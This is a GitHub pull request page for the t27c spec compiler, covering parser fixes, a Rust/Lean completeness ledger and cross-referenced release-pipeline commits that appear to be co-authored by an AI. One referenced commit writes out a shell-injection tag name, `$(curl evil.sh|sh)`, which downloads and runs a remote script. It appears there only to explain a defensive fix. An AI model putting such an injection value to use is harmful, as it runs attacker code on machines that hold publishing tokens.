Five parser and instrument defects, and the 73 Lean disagreements that were reporting as 1 - #2742
Merged
Conversation
…#2161) t27's surface is Zig-shaped, so `@as`, `@intCast`, `@min` and friends appear in specs. The Rust emitter passed them through verbatim -- 27 distinct builtins, 281 occurrences -- and `@as(u32, x)` is not Rust. Two groups, and the difference is the point. Where Zig NAMES the target type the translation is exact: `@as(u64, x)` -> `(x as u64)`. Where Zig INFERS it from context the honest Rust is `as _`, which asks rustc to infer from the same context -- a `let` with a declared type, a `return` in a typed fn. Guessing a concrete width would be a silent wrong answer, which is the defect class this backend was just cleared of. Anything not in the table keeps its spelling: a wrong translation is worse than an untranslated one, because the first compiles. @-builtins in generated Rust 281 -> 26 (91% translated) rustc errors 8,834 -> 8,794 AND THAT SECOND ROW IS THE FINDING. I reported these builtins as the reason 43 specs do not compile. They are not. Measured across 141 specs: 499 DISTINCT rustc error classes, ~2,900 errors, and the builtins account for 40 of them. The largest single class is 688 occurrences of `cannot find module or crate serde` -- the emitter derives serde::Serialize on every struct with no manifest to satisfy it -- and removing even that leaves 2,255 errors and zero clean specs. So the Rust backend is not a defect list. It is a backend that has never been compiled, and `corpus` reported two of four precisely so nobody had to see that. Saying "Zig builtins chief among them", as I did in the 0.2.0 notes, understated it by two orders of magnitude; the notes are corrected in the same release. Parse 620/746, tests 1629/6, behavioural 7/7, RATCHET CLEAN -- all unchanged. FROZEN_HASH resealed in the same commit (M5).
…ement (Refs #2161, closes #2735) Two changes that only work together. A braceless body that OPENS with `var`/`const` had no earlier clause to take a column from, so the statement arm was skipped and the whole body fell back to the discard -- silently, with no marker. Seeding the column from the opening statement fixes that, and #2735 records why I did not ship it before: it regressed specs/memory/notebooklm.t27 from parsing to not parsing. The regression's cause turned out to be a grammar gap one level out. `const (notebook, err) = f();` is the tuple-destructure STATEMENT, and the corpus writes it inside test bodies. When a braceless block stops on one, the parser hands it to the module dispatcher, where `parse_const_decl` demands a name and dies with "Expected identifier after 'const', got LParen" -- on a form `parse_let_destructuring` has handled all along. Routing `const (` there removes the hard error, and with it the reason the seeding could not land. Three guards keep the arm honest: it seeds only at the start of a block, only when the keyword is followed by a NAME, and `const (` never enters it at all. Measured over 746 tracked specs, against master: discarded top-level tokens 35,070 -> 33,777 (-1,293) assertions in generated Zig 11,712 -> 11,790 (+78) NOT CHECKED markers 1,068 -> 1,065 specs that parse 620 -> 620 t27c tests 1629/6 -> 1629/6 behavioural backend tests 7/7 RATCHET CLEAN The marker count falling by three is the shape to read: three blocks that used to report "not checked" now lower completely. FROZEN_HASH resealed in the same commit (M5).
…rts all 73
A leading `(` was read as proof of the parenthesised condition form. In
`if (i >> j) & 1 == 1 {` it is not: the parser took `(i >> j)` for the whole
condition and died at the brace. Three byte-identical copies of that code stood
in parse_if_stmt, parse_while_stmt and parse_if_expr, so the fix is one
parse_condition with a checkpoint that rewinds when what follows the closing
paren is neither the body `{` nor a payload capture `|x|`.
specs/ar/asp_solver.t27 then reached its next real defect: an unclosed `[` on
line 369, a typo in the spec, which had swallowed the remaining 186 lines.
With both fixed the spec parses and the Rust/Lean disagreement it was hiding
became visible -- and so did 72 more. The test asserted agreement one spec at a
time and aborted on the first, so it had been reporting 1 of 73 for as long as
it has existed. It now collects every disagreement and holds them in an
identity-keyed ledger that moves down only: a name not in the ledger fails as a
regression, and a name that starts agreeing must be removed or the stale entry
fails. Both directions were checked by breaking them.
Forty of the 73 are theorems about an EMPTY module -- no functions, globals or
tests -- so `native_decide` proved that nothing is lowerable, which is true and
says nothing about the spec. ar_asp_solver is corrected here to the marker
convention api_sdk_contract already uses, because Lean's `Stmt.forLoop` has one
constructor for both range-for and iterator-for and cannot express the
construct that makes that spec non-lowerable.
Removing the early abort also surfaced two guards that had been unreachable
behind it: specs/scratch envs (untracked since #2283) were counted as Lean-only
witnesses, and the >= 245 floor is now held on checked + skipped so a spec may
move between the two but neither may evaporate.
Refs #2735
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
The previous commit's checkpoint applied to the `if` EXPRESSION too, where the then-branch is an expression and not a block: `if (c) a else b` is legitimate, the paren really does close the condition, and rewinding re-read `(c) a` as one expression. That cost six specs -- base/ops, base/ternary_add, base/types, numeric/gf16, numeric/gfternary, numeric/tf3 -- all dying on `Unexpected token in expression: KwElse`. The whole test suite was green while this was true. What caught it was parsing all 650 corpus specs with the binary from before the change and with the binary after, and diffing per spec: 558 -> 553. Now 558 -> 559, one spec moved, and it is the one the change was for. The ledger was rebuilt on the corrected parser in case the regression had been baked into it as a known disagreement. It had not: 73 either way, no entry added or removed. Refs #2735 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
…ped" `stray_closing_brace` had been failing for as long as the parser has recovered from a stray `}`. The row demanded Rejected because Rejected was the only way the table could say "this input is not clean": a Case could pin the verdict and the declaration count, and nothing else. Reaching EOF is not the same as reading everything, and the parser already knows the difference -- `parse_ast_accounted` returns the number of top-level tokens recovery discarded, and the corpus-wide `parse-no-discard` phase is built on it. The table just could not ask. So Case gains `discards`, every existing row asserts Some(0), and the stray brace asserts Full with 2 decls and exactly 1 discarded. That is stricter than what it replaced, not weaker: rejecting the input would have thrown `fn b` away, and the requirement -- never a QUIET end of file -- is now checked as a count rather than inferred from a refusal. Both directions were broken to confirm the field is load-bearing: claiming 0 discards on the stray brace fails, and claiming 3 on a clean case fails. Suite: 1629 passed / 6 failed -> 1630 passed / 5 failed. Refs #2735 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Contributor
|
📓 NotebookLM Notebook linked to this PR
This notebook contains session context, decisions, and artifacts for this work. |
Contributor
…er, discards field Refs #2735 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Contributor
PR DashboardGenerated at: 2026-08-27 22:14:34 UTC
Summary
Seal Status
|
Contributor
|
📓 NotebookLM Notebook linked to this PR
This notebook contains session context, decisions, and artifacts for this work. |
Refs #2735 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Contributor
|
📓 NotebookLM Notebook linked to this PR
This notebook contains session context, decisions, and artifacts for this work. |
Contributor
PR DashboardGenerated at: 2026-08-27 22:16:48 UTC
Summary
Seal Status
|
Fixing specs/ar/asp_solver.t27:369 changed what the spec generates, so both of its seal files -- it has two, under different keys -- described output it no longer produces. Stale seals: 420 -> 418. The other 418 are not from this branch. seal-coverage has been red on master for at least five consecutive runs, so the gate is currently reporting debt rather than guarding against it. Refs #2735 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Contributor
|
📓 NotebookLM Notebook linked to this PR
This notebook contains session context, decisions, and artifacts for this work. |
Contributor
PR DashboardGenerated at: 2026-08-27 22:20:07 UTC
Summary
Seal Status
|
This was referenced Aug 27, 2026
gHashTag
added a commit
that referenced
this pull request
Aug 28, 2026
…xists, and 45 that now generate
Removing the broken symlink at bootstrap/bootstrap/specs/physics/formula_registry.t27
took its ledger line's subject with it, and the gate said exactly the right
thing:
They did not start generating -- they left the measured set, which
reads as progress in the count below and is not. Drop their ledger
lines in the same commit that removes them, deliberately.
Done. The gate also had a standing NOTE that 46 baselined specs now generate --
one of them specs/ar/asp_solver.t27, whose unclosed bracket was fixed in #2742.
Those lines are removed too, so the gate holds them from here:
specs_generate_baseline.txt: 151 lines -> 105
OK: 716 specs, 613 generate, 103 known-broken
This gate demonstrated its own control in the process: it caught a real change
of mine on the commit that made it, and named the repair.
Refs #2161
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
gHashTag
added a commit
that referenced
this pull request
Aug 28, 2026
…uld not package t27c (#2753) * fix(release): the pipeline published the wrong product, unsequenced, and could not package t27c Nine runs, nine failures, zero successes -- and "failed" did not mean nothing happened. The 2026-04-07 run failed overall while its PyPI leg SUCCEEDED and burned golden-float 0.1.0; the 2026-05-15 run failed overall while its crates.io leg SUCCEEDED and burned golden-float-ffi 0.1.0. Neither number can be reused. Nothing sequenced the jobs, so one leg's failure left another's publication standing. That is the state the registries are in today. A tag reading t27c-v0.2.0 fired all of it: `golden-float` to npm, where the name is unclaimed and would have been permanently taken; `golden-float-ffi` 0.1.0 to crates.io, which already has it; and a Zenodo deposit into record 19456875, which is the GoldenFloat PAPER's DOI, using .zenodo.json, which describes T27. `t27c` itself was published nowhere. Four things: 1. PRODUCT GATE. A tag names its product -- t27c-v* or golden-float-v* -- and only that product's jobs run. Every publishing job now `needs: preflight`; there is no path to a registry that skips it. 2. VERSION TRUTH. Preflight fails, naming the file to edit, unless every manifest for that product already says what the tag says -- including .zenodo.json, which mints a DOI and is checked against the product it describes. 3. DRY RUN FIRST. `cargo publish --dry-run` plus a live query of crates.io and PyPI for the exact version, before any registry is written. A version that already exists now fails the rehearsal instead of failing a real publish after some other leg has written. 4. CONCURRENCY. All four release workflows take a per-tag group with cancel-in-progress: false. Cancelling mid-publish is how a partial publish is made. Zenodo now looks its deposition up per product from a repository variable and SKIPS, loudly, when none is set. A DOI can be minted later; one minted into another work's record cannot be unminted. Two things blocked publishing t27c at all, both found by rehearsing: - `bootstrap/bootstrap/specs/physics/formula_registry.t27` is a symlink to `../../specs/physics/...` that resolves to nothing, committed by #408 and broken ever since. `cargo package` dies on it: "Too many levels of symbolic links (os error 62)". tools/specs_generate_baseline.txt has been recording that same error as accepted debt. Removed. - `bootstrap/build.rs` enforces REPOSITORY policy by reading files outside the package (../docs/.legacy-non-english-docs and friends). A published crate is unpacked alone, so those are absent and the build script killed the build. It now detects that it is not in the repository and skips the repo-owned checks, saying so. Rehearsed in a fresh clone, which is what CI checks out: `cargo package --list` now succeeds where it exited 101. (It still fails inside a git worktree -- an artifact of this working copy, refuted as a repo defect by cloning.) Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(t27c): the generated memory modules live inside the crate src/memory/mod.rs included them from ../../../gen/, outside the package. Cargo cannot put a file outside the package into the tarball, so `cargo publish` got as far as compiling the packaged crate and died on couldn't read `src/memory/../../../gen/rust/memory/formula_embed.rs` Both files are small, generated from .t27 specs, and nothing else in the tree referenced those paths. They move to src/memory/generated/ and the regeneration command in the comment moves with them. Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * docs(now): release pipeline product gate and rehearsal Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(workspace): rings/ was in neither members nor exclude, so none of them compiled Seventeen ring crates sit under rings/ring-*-rust and, exactly like `ffi`, are listed in neither `workspace.members` nor `workspace.exclude`. Every `cargo check` in them died on manifest load: error: current package believes it's in a workspace when it's not This was invisible because rings-rust.yml is path-filtered and one of its paths is the root `Cargo.toml`. Nothing had touched that file in a long time, so the workflow had not run, and "not failing" was reading as "passing". Editing Cargo.toml for the release fix woke all seventeen at once. With `rings` excluded, sixteen compile. The seventeenth had a real defect that had never been reachable: ring-094 assigned `task.state = TaskState::Failed` and dropped the task out of the queue on the next line, so the write was dead and `#![deny(warnings)]` refused it. Removed -- behaviour is identical. If an expired task is meant to be RECORDED as failed rather than forgotten, that is a change to what the function does and wants deciding on purpose. rings compiling: 0 of 17 -> 17 of 17 t27c suite unchanged at 2424 passed / 0 failed. Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(release): the tag name reaches the shell through env, not interpolation `${{ github.event.release.tag_name }}` was interpolated straight into two `run:` blocks. A tag name is attacker-controlled text, and interpolated there it IS shell: a release tagged $(curl evil.sh|sh) executes it on a runner holding CRATES_TOKEN, NODE_AUTH_TOKEN and ZENODO_TOKEN. It comes through `env:` now, where the shell sees a variable and never a substitution. The Untrusted Input gate caught this on the commit that introduced it, which is the gate working. The two remaining interpolations are in `concurrency: group:`, which is not a shell context. Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(specs-generate): drop the ledger line for a path that no longer exists, and 45 that now generate Removing the broken symlink at bootstrap/bootstrap/specs/physics/formula_registry.t27 took its ledger line's subject with it, and the gate said exactly the right thing: They did not start generating -- they left the measured set, which reads as progress in the count below and is not. Drop their ledger lines in the same commit that removes them, deliberately. Done. The gate also had a standing NOTE that 46 baselined specs now generate -- one of them specs/ar/asp_solver.t27, whose unclosed bracket was fixed in #2742. Those lines are removed too, so the gate holds them from here: specs_generate_baseline.txt: 151 lines -> 105 OK: 716 specs, 613 generate, 103 known-broken This gate demonstrated its own control in the process: it caught a real change of mine on the commit that made it, and named the repair. Refs #2161 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Closes #2735
Refs #2161
Five defects, each measured before and after.
1. Zig builtins leaked into generated Rust
gen-rustpassed@as,@intCast,@min,@sqrt,@rem,@intFromEnumand friends through verbatim, which is not Rust. They are translated now.I had claimed these were the reason 43 specs do not compile. That was wrong and is corrected here: rustc reports 499 distinct error classes across the corpus and the builtins account for 40 errors. The largest single class is 688 occurrences of a missing
serde. The fix is worth having; the claim about its size was not measured when I made it.2. A leading
(was taken as proof of a parenthesised conditionif (i >> j) & 1 == 1 {— the parser read(i >> j)as the whole condition and died at the brace. Three byte-identical copies of that code stood inparse_if_stmt,parse_while_stmtandparse_if_expr, so this is oneparse_conditionwith a checkpoint that rewinds when what follows the closing paren is neither the body{nor a payload capture|x|.The first version of this fix cost six specs. It applied the rewind to the
ifEXPRESSION too, where the then-branch is an expression andif (c) a else bis legitimate —base/ops,base/ternary_add,base/types,numeric/gf16,numeric/gfternary,numeric/tf3all died onUnexpected token in expression: KwElse. The full test suite was green while this was true. What caught it was parsing all 650 corpus specs with the before binary and the after binary and diffing per spec: 558 → 553. The rewind is now limited to contexts where a body must follow: 558 → 559, one spec moved, and it is the one the change was for.3. An unclosed
[in a spec, swallowing 186 linesspecs/ar/asp_solver.t27:369opened a list and never closed it, so the parser ran to EOF looking for]. A typo in the spec, not in the parser.4. The Rust/Lean completeness test reported 1 disagreement out of 73
It asserted agreement one spec at a time and aborted on the first, so 72 had never been printed. It now collects every disagreement and holds them in an identity-keyed ledger (
docs/reports/lean_completeness_mismatches.json) that moves down only: a name not in the ledger fails as a regression, and a name that starts agreeing must be removed or the stale entry fails. Both directions were checked by breaking them.40 of the 73 are theorems about an EMPTY module — no functions, globals or tests — so
native_decideproved that nothing is lowerable. True, and true of nothing in the spec.ar_asp_solveris corrected to the marker conventionapi_sdk_contractalready uses, because Lean'sStmt.forLoophas one constructor for both range-for and iterator-for and cannot express the construct that makes that spec non-lowerable. There is no generator forCompleteness.leanin the tree — 250 models, transcribed by hand, and nothing that can re-derive them.Removing the early abort also surfaced two guards that had been unreachable behind it:
specs/scratchenvs (untracked since #2283, so absent on any fresh checkout) were counted as Lean-only witnesses, and the>= 245floor now holds onchecked + skippedso a spec may move between the two but neither may evaporate.Files that are Markdown wearing a
.t27extension are skipped loudly — the repo's ownt27c classifyfiles 14 of them under NOT-CODE, and asserting a lowerability verdict about prose compares two answers to different questions. The skip is narrowed to a MODULE-LEVEL parse error: a parse error inside a fn is a parser defect wearing the same words, and a guard on the bare phrase would have retiredasp_solveras prose instead of fixing it.5. A conformance case could not say "accepted, and nothing dropped"
stray_closing_bracedemandedRejectedbecause that was the only way the table could call an input unclean. The parser had since stopped ending the file at a stray}and started counting it, so the row had been failing ever since it was fixed.Casegainsdiscards; every existing row assertsSome(0); the stray brace asserts Full with 2 decls and exactly 1 discarded — stricter than what it replaced, since rejecting would have thrownfn baway.Measured
Every parser change was checked by parsing the whole corpus before and after, per spec, not in aggregate.
bootstrap/stage0/FROZEN_HASHis resealed in the same commits as thecompiler.rsedits, per M5.Not fixed
The 73 disagreements are recorded, not resolved. 40 need a non-empty Lean model; the other 33 need someone to decide which side is right, and Lean is not installed here so no theorem in this PR has been re-checked by
lake. The ledger is what makes the number visible and monotonic — it is not a repair.🤖 Generated with Claude Code